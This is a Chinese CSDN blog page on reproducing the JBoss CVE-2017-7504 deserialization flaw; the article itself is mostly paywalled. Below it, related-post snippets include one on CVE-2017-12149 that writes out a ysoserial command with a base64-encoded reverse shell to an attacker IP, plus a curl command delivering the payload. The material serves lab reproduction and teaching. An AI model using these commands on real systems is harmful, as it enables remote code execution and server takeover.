网安漏洞复现系列：漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

最新推荐文章于 2025-09-19 15:07:25 发布
最新推荐文章于 2025-09-19 15:07:25 发布
阅读量480 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： 网络安全 文章标签： 网络 安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_54626591/article/details/138496506
网络安全 专栏收录该内容
218 篇文章 ¥299.90 ¥399.90
订阅专栏
这篇博客详细介绍了如何复现JBoss 4.x JBossMQ JMS的反序列化漏洞（CVE-2017-7504）。通过环境搭建、EXP准备和exploit步骤，作者展示了从漏洞利用到成功的整个过程，包括利用Java的序列化机制和特定的库来触发漏洞。

漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）



漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

前言：

序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，ObjectInputStream类的readObject()方法用于反序列化。

问题的根源在于类ObjectInputStream在反序列化时，没有对生成的对象的类型做限制。

在这里插入图片描述

在这里插入图片描述

pache Commons Collections是一个扩展了Java标准库里的Collection结构

了解本专栏 订阅专栏 解锁全文
（CVE-2017-7504）JBoss 4.x JBossMQ JMS 反序列化漏洞
weixin_45253622的博客
12-09 820
JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504） vulhub官方复现：https://vulhub.org/#/environments/jboss/CVE-2017-7504/ 漏洞描述：Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ 实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java
JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
玄道的网安博客
06-18 1115
简介 Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 环境搭建 使用vulhub和docker快速搭建环境 cd vulhub/jboss/CVE-2017-7504 docker-compo
JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）复现
KaNongDD的博客
09-18 1513
前言 写这篇文章是因为，现在优快云环境太恶心人了，全是水文章或者收费文章。完全没几个是自己亲自去复现的。 准备工作（实在不懂了加我微信问我:14777115517,但还是希望你们先动手弄） 需要的工具链接： https://pan.baidu.com/s/1BmDo1vYX6DTZeI8wcnxFZQ 提取码：4bzf 该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中，利用ysoserial的eCommonsCollections5利用链。 必看：.
JBOSSCVE-2017-7504反序列化漏洞
最新发布
m0_63017297的博客
09-19 318
JBOSS CVE-2017-7504漏
墨者JBoss 4.x JBossMQ JMS反序列化漏洞
m0_63283172的博客
03-16 311
墨者JBoss 4.x JBossMQ JMS反序列化漏洞
vulhub中JBoss 4.x JBossMQ JMS 反序列化漏洞复现（CVE-2017-7504）
yougexiaojiuguan的博客
03-03 415
漏洞复现过程中的记录
Jboss CVE-2017-7504 复现（vulhub）
MDSEC的博客
08-25 1221
Red Hat Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。如果漏洞复现过程中有问题，可能是因为java版本问题。(1)尝试 创建 /tmp/123 文件夹。需要：ysoserial 反序列化工具。(2) 反弹shell。微信公众号：猫蛋儿安全。
JBoss 4.x JBossMQ JMS 反序列化漏洞CVE-2017-7504 已亲自复现
qq_42430287的博客
12-19 1450
JBoss 4.x JBossMQ JMS 反序列化漏洞CVE-2017-7504 已亲自复现
JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
weixin_51151498的博客
12-12 1041
JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
CVE-2017-7504漏洞复现
Foreverlove112的博客
10-01 740
CVE-2017-7504漏洞复现
JBoss反序列化漏洞复现 CVE-2017-7504
m0_62284238的博客
09-11 621
JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。进入vulnhub目录下的jboss目录，进入CVE-2017-7504目录。访问靶机的8080端口。出现如下即为开启成功！
JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)
wutiangui的博客
09-11 492
访问/jbossmq-httpil/HTTPServerILServlet，出现以下页面代表存在漏洞。执行完该命令之后，会在本地桌面生成一个序列化的文件exp.ser，并利用cat查看其内容。然后，将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用。使用工具ysoserial.jar生成序列化数据。Jboss AS 4.x及之前版本。使用序列化数据反弹shell。
JBossMQJMS 反序列化漏洞（CVE-2017-7504）
懂进攻知防守
07-23 1455
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似，只是利用的路径稍微出现了变化， CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。JBoss AS 4.x及之前版本中，JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。...
利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
JiangBuLiu的博客
07-11 1877
JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现发送POC通过命令通过`BurpSuit`发送检测POC是否成功 Vulnhub官方复现教程 https://vulhub.org/#/environments/jboss/CVE-2017-7504/ 漏洞原理 Red Hat JBoss Applica...
中间件安全：JBoss 反序列化命令执行漏洞.（CVE-2017-12149）
网络安全领域___专研者.
11-28 1029
JBoss 反序列化漏洞，该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中，其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致恶意访问者通过精心设计的序列化数据执行任意代码。
JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）危害
08-22
### 漏洞概述 CVE-2017-12149 是一个影响 JBoss Application Server (AS) 5.x 和 6.x 版本的严重安全漏洞。此漏洞源于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器在处理客户端发送的数据时，未能进行必要的安全检查，直接对数据流进行了反序列化操作。这种不当的处理方式使得攻击者能够通过发送特制的恶意序列化数据来触发远程命令执行，进而可能完全控制受影响的服务器[^1]。 ### 安全危害 #### 远程代码执行 最直接且严重的后果是，攻击者可以利用此漏洞在目标系统上执行任意代码。这意味着攻击者可以安装恶意软件、窃取敏感信息、修改或删除数据等，对企业的信息安全构成极大威胁[^2]。 #### 内网渗透 由于 JBoss 通常部署在企业内部网络中，此漏洞的存在不仅允许攻击者从外部网络入侵，还可能成为攻击者进一步渗透内网的跳板。一旦攻击者获得了内网中某一台服务器的控制权，他们可以通过这台服务器作为跳板，尝试攻击其他内部系统[^3]。 #### 数据泄露 攻击者利用此漏洞成功入侵后，可以访问存储在服务器上的所有数据，包括但不限于客户信息、交易记录、商业秘密等。这些数据的泄露不仅会对企业造成经济损失，还可能损害企业的声誉和客户信任[^4]。 ### 影响范围 此漏洞影响 JBoss AS 5.x 和 6.x 版本，这两个版本曾广泛应用于各种规模的企业中，尤其是在金融、电信等行业。因此，该漏洞的影响范围非常广泛，任何未及时更新或采取其他缓解措施的组织都可能受到攻击[^5]。 ### 缓解措施 为了减轻此漏洞带来的风险，建议采取以下措施： - **升级软件**：最直接有效的解决方法是将 JBoss 升级至不受此漏洞影响的新版本。 - **限制访问**：对于无法立即升级的系统，可以通过配置防火墙规则，限制对 HttpInvoker 组件的访问，仅允许信任的IP地址访问。 - **监控与审计**：加强系统的监控和日志审计，以便及时发现并响应任何可疑活动。 ### 示例代码 以下是一个使用 `ysoserial` 工具生成恶意序列化数据的示例命令，该数据可用于测试环境中的漏洞复现： ```bash java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i}" > exp.ser ``` 随后，攻击者可以通过 `curl` 命令将生成的 `exp.ser` 文件发送到目标服务器上的 `/invoker/readonly` 路径： ```bash curl http://192.168.159.129:8080/invoker/readonly --data-binary @exp.ser ``` 以上命令假设攻击者的机器正在监听指定的端口，以接收反弹的 shell 连接。 ###
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

坦笑&&life

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值